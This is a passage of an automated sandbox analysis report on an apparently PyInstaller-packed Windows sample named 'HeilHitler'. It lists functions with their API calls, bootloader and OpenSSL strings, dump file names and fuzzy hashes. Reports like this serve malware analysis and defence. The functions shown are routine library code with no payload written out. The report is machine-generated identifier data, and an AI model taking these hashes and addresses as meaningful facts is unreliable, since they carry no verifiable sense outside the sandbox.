Instruction Fuzzy Hash: E241A031A0864286EB10DFA1D4125B9B3A0FF44794F844A32EDADA7B95DE3CE546A704

Function 00007FF633D61210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF633D61276
1.3.1, xrefs: 00007FF633D61249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF633D612EF
malloc, xrefs: 00007FF633D612C1, 00007FF633D612F6
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF633D612BA
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF633D6141E

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 01d38e4bc7406ff039fcd5bb421c60dd86912a0bfc5eaad0c764dc15b84283c8
Instruction ID: d5e919ad1cdf2258e930a2683505d67dca29f55f9e989f0f3a5ac0180549bd08
Opcode Fuzzy Hash: 01d38e4bc7406ff039fcd5bb421c60dd86912a0bfc5eaad0c764dc15b84283c8
Instruction Fuzzy Hash: 6251F822A0864285EA209F91E4523BA7390FF85794F844335ED9EE77D5EF3CE545E700

Function 00007FF633D636B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF633D63804), ref: 00007FF633D636E1
GetLastError.KERNEL32(?,00007FF633D63804), ref: 00007FF633D636EB

Part of subcall function 00007FF633D62C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
Part of subcall function 00007FF633D62C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
Part of subcall function 00007FF633D62C50: MessageBoxW.USER32 ref: 00007FF633D62D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF633D63739
GetModuleFileNameW, xrefs: 00007FF633D636FA
\\?\, xrefs: 00007FF633D6375A
Failed to obtain executable path., xrefs: 00007FF633D636F3
Failed to convert executable path to UTF-8., xrefs: 00007FF633D63790

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: c13f2a38a5be17a066d117a47e39e6235b7b3cb1b116aea74476be53e48fcbf7
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 56217161F1864281FB609BA4E8573B67290BF88354FC01332E56EE77E5EE2CE505E700

Function 00007FF633D7BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7BE89

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction ID: 41e7c414f1f24851d6bd88147b24f59ed5fc926e818fa220cb428853ac172b60
Opcode Fuzzy Hash: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction Fuzzy Hash: 9DC12922A1CB8781E7619F9590462BD7B60FF81B90F594331EA8EA3791CF7CE845A700

Function 00007FF633D66360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF633D66407
LoadLibrary, xrefs: 00007FF633D664AE
Failed to load Python DLL '%ls'., xrefs: 00007FF633D664A7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF633D66456
ucrtbase.dll, xrefs: 00007FF633D663DD
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF633D663C7

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 1349cc8312471161d2379808559c6e6d0b30e26a3d080edb85694fb6660dab5b
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: 1E417131A1DA8691EA21DBA4E4162E97361FF44344FC00332EA6DA7795EF3CF519D740

Function 00007FF633D75628 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75655
CreateFileW.KERNEL32 ref: 00007FF633D75694
CloseHandle.KERNEL32 ref: 00007FF633D756C9

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: b6ea347872c606fc651df10970017495f6d5f098589fa492bb20860db60ab8b2
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: EB41AF22E1878283E7508FA095123BD7361FB947A4F109335EAAC97BD2DF7CA5E19701

Function 00007FF633D6CC3C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D6CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF633D6CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF633D6CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF633D6CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF633D6CD21

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 225631809ee873c906d65c0a2f884c8556d03b12ba005d688212f58f9edddcff
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 6E315D21E0C14745FA14ABE5A4533B93691AF41784F845734EA2EFB3E7DE6CB804E710

Function 00007FFDFAE8146A Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAEC6681

Strings

..\s\ssl\statem\statem.c, xrefs: 00007FFDFAEC6777, 00007FFDFAEC6849, 00007FFDFAEC697E, 00007FFDFAEC69D1

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\statem\statem.c
API String ID: 1452528299-2512360314
Opcode ID: ee442aae15e5596c2213ec8fd07130747ec22657d04e437eb1166b1a36e472a3
Instruction ID: d36fa133e8e828faadf3903ce80365cd8f60af7a27346b2b12d904cbc34d355d
Opcode Fuzzy Hash: ee442aae15e5596c2213ec8fd07130747ec22657d04e437eb1166b1a36e472a3
Instruction Fuzzy Hash: 90B19172B0824286E76AAF25C460B7A33E1EF40B48F1555B5DA6E476DDDF3EE884C700

Function 00007FFDFAE81497 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAE8D185

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFDFAE8D131, 00007FFDFAE8D225

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c
API String ID: 1452528299-2209325370
Opcode ID: 2f069f0debedb460f97cf309107711c0ac6c72eae5d4146433fa6f897ae7624f
Instruction ID: 416900013d54c14aa5027054142ba82e30f9f373858a7fb9fc9b80d35ba719a0
Opcode Fuzzy Hash: 2f069f0debedb460f97cf309107711c0ac6c72eae5d4146433fa6f897ae7624f
Instruction Fuzzy Hash: 14819131B08A8185EB59AF25D4A4BB96391FB40B98F148175DD6E0B7CCDF3AD44AC340

Function 00007FF633D7013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70277

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: fc5356c7eb802d985e62e58080e3a4ed0cc3ff611ae5dba2789b26f0a536a27a
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 8A512422B0925286FB289EF5A40267A6691BF84BB4F184734DE7DE77D5CE3CE401A600

Function 00007FFDFAE81253 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAE8DC90

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFDFAE8DD40, 00007FFDFAE8DD92

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c
API String ID: 1452528299-2209325370
Opcode ID: 33a6eeb424a59c5021b37bcb26c13c5fca1bb7764044da02c9e52baff78b50a2
Instruction ID: 6d3ac398ac4c11d49c61d2d6865c5a27b0c21c9c573177bec35ad15ca1f86ff9
Opcode Fuzzy Hash: 33a6eeb424a59c5021b37bcb26c13c5fca1bb7764044da02c9e52baff78b50a2
Instruction Fuzzy Hash: A341C132709B4182EB28AF15D490A6973A0FB44B84F148675DB6E0BBDCDF7EE4A5C740

Function 00007FF633D7C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF633D7C2CD), ref: 00007FF633D7C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF633D7C2CD), ref: 00007FF633D7C18A

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 528c13ac300fcc56f4705cb4b58e9af3934c80681faf2d2725b38b10881988d5
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: BB112322B08A8181DA208F65B801169A361FB81FF0F540331EE7DABBE8CF3CE0148700

Function 00007FF633D7A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 961b76213ca98761911f8107df0f137bddfc197f78ccfadd275760d864e1703e
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: ECE08C50F1920282FF096FF2A8571381261AF88B00F840330D81DEA3A2EE2CA892A310

Function 00007FF633D7AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF633D7A9D5,?,?,00000000,00007FF633D7AA8A), ref: 00007FF633D7ABC6
GetLastError.KERNEL32(?,?,?,00007FF633D7A9D5,?,?,00000000,00007FF633D7AA8A), ref: 00007FF633D7ABD0

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: bb6fadb88fe661f1c50253329f5dc08f00c8fd4f1c04d8527db8b862d570277d
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 0E21E721F2C68241FEA59FE5949737D12829F847A1F084339EA2EE77D2CE6DE4416300

Function 00007FF633D7BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7BED4

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 2dc2c58e76882c7fe97a43a83f5e256a02c0927397f6123dc5a542c555bc85c4
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: BD41D63291824587EA349FA9A542279B7A0EB55B94F100331E78ED37D1CF3EE443EB51

Function 00007FFDFAEC652A Relevance: 1.6, APIs: 1, Instructions: 350COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFDFAEC6681

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ff43006544f348e3048398159edfdbb45dc07a4a4d076fe4cc9f01bb488bd133
Instruction ID: 6cee30973ad876b65ab392637d2c869e6a24a0d4b464129539b6c8d1c415d3a5
Opcode Fuzzy Hash: ff43006544f348e3048398159edfdbb45dc07a4a4d076fe4cc9f01bb488bd133
Instruction Fuzzy Hash: AA31E432B0824186EB6AAF15956097A33A0EB40F58F055471DE2E477CDDF3EE891C700

Function 00007FF633D67F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF633D6803A

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: e1315d2f6f00395e8c4775e010b327fe7281e2fae45ce4cd0a11699a80637139
Instruction ID: c482a39cc030fcbdb5c74d12cf6a9067f0b0d24bee4a908b9c7825a79cfd48ab
Opcode Fuzzy Hash: e1315d2f6f00395e8c4775e010b327fe7281e2fae45ce4cd0a11699a80637139
Instruction Fuzzy Hash: 0A21F721B18B5246FF109FA268063BAA651BF45BC4FCC5930EE1DA7786CE7DE051D300

Function 00007FF633D7B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7B9C2

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

